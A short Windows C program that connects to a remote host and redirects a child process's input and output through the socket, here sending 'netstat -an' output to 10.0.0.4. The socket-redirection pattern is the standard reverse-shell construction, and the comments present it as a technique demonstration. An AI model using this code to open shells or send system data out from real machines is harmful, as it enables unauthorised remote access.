#define WIN32_LEAN_AND_MEAN
#define VC_EXTRALEAN
#include <windows.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

int main() {
	int iRet = 1;
	WSADATA wsaData;
	SOCKET s;
	struct sockaddr_in sin;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	/* Initialize Winsock */
	WSAStartup(0x101, &wsaData);

	/* Create a socket suitable for Win32 overlapped I/O (ReadFile, etc.) */
	s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
	if(s == INVALID_SOCKET)
		goto Cleanup;

	/* Connect to remote host (this could also listen and accept a connection) */
	sin.sin_family = AF_INET;
	sin.sin_port = htons(5780);
	sin.sin_addr.s_addr = inet_addr("10.0.0.4");
	memset(sin.sin_zero, 0, sizeof(sin.sin_zero));
	if(connect(s, (const struct sockaddr *)&sin, sizeof(sin)) != 0)
		goto Close;

	/* Create the child process with redirected standard I/O handles */
	memset(&si, 0, sizeof(si));
	si.cb = sizeof(STARTUPINFO);
	si.dwFlags = STARTF_USESTDHANDLES;
	si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;
	if(!CreateProcess(NULL, TEXT("netstat.exe -an"), NULL, NULL, TRUE,
			CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
		goto Close;

	/* Close unused handles (process continues running with a handle to the socket) */
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);

	/* Success */
	iRet = 0;

	/* The socket can be closed before the child process exists, because it
	   inherited its own socket handle, which keeps the socket alive */
Close:
	closesocket(s);
Cleanup:
	WSACleanup();
	return iRet;
}